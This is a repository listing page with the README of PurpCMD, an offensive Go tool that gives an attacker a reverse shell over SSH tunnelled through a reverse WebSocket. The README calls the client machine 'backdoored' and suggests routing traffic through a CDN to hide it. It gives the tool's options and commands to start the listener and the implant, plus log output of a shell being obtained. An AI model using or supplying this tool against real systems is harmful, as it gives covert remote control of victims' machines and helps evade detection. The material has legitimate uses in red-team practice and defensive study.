https://github.com/farinap5/purplecommand
Reverse Shell based on SSH over websocket.
https://github.com/farinap5/purplecommand
reverse-shell ssh websocket
Last synced: about 1 year ago
JSON representation
Reverse Shell based on SSH over websocket.
- Host: GitHub
- URL: https://github.com/farinap5/purplecommand
- Owner: farinap5
- License: gpl-3.0
- Created: 2023-02-22T02:46:14.000Z (over 3 years ago)
- Default Branch: main
- Last Pushed: 2025-05-12T01:57:39.000Z (about 1 year ago)
- Last Synced: 2025-05-12T02:42:48.337Z (about 1 year ago)
- Topics: reverse-shell, ssh, websocket
- Language: Go
- Homepage:
- Size: 233 KB
- Stars: 4
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# PurpCMD
For the current version the process mey be killed from client (backdoored) side due to error.
Purpcmd operates by initiating a simple SSH server on the client side. Leveraging SSH has many improved features to work with remote terminals, such as enhanced interaction quality, window resizing, full duplex communications, and more. This type of approach tends to work better than using reverse shell, that use system features, synchronized sockets and IO, it will have limited capabilities. Purpcmd employs a reverse WebSocket connection to seamlessly synchronize the SSH connection with the server.
The communication is secure and very malleable. It can be channeled through Content Delivery Network (CDN) to enhance obfuscation and other security measures.
### Help Menu
```
Server usage: purpcmd server [options] ...
-k configures the path to the private key.
By default an embed key pair is used to authenticate the
connection.
Use "-k /path/to/id_rsa".
Client usage: purpcmd client [options] ...
-ua defines the User-Agent HTTP header to use
during the request.
-p must be used to set the path to a public key.
By default an embed key pair is used to authenticate the
connection. If the server is using a custom private key,
this option must be used to specify the pair.
Use "-p /path/to/id_rsa.pub".
-ps allows passing the public key right from the command
line.
Use "-ps 'ssh-rsa AAAAB3NzaC'".
Global Options:
-a is the address to listen on or connect to.
Use "-a 127.0.0.1:8080".
-uri configures the URI where to connect or to receive
the websocket connection.
Use "-uri /assets".
```
### 1. Start the server
```
go run . server
2024/02/17 01:08:57 Listening on ws://0.0.0.0:8080/
```
### 2. Execute the client
```
go run . client -a 0.0.0.0:8080
2024/02/17 01:10:32 Connecting to ws://0.0.0.0:8080/
2024/02/17 01:10:32 Key O+XvBDAEHzyN9s78Iy6iegk3vWT7hzQZsErg/2Y+Ehg= found.
2024/02/17 01:10:32 Client got shell
```
### 3. Use the server new shell
```
╰─$ go run . server
2024/02/17 01:08:57 Listening on ws://0.0.0.0:8080/
2024/02/17 01:10:32 Proxy connected 0.0.0.0:8080
Setting up STDIN
Setting up STDOUT
Setting up STDERR
call shell
farinap@xyz:~/go/src/PurpleCommand$ ls
LICENSE README.md agent go.mod go.sum img main.go server utils
farinap@xyz:~/go/src/PurpleCommand$
```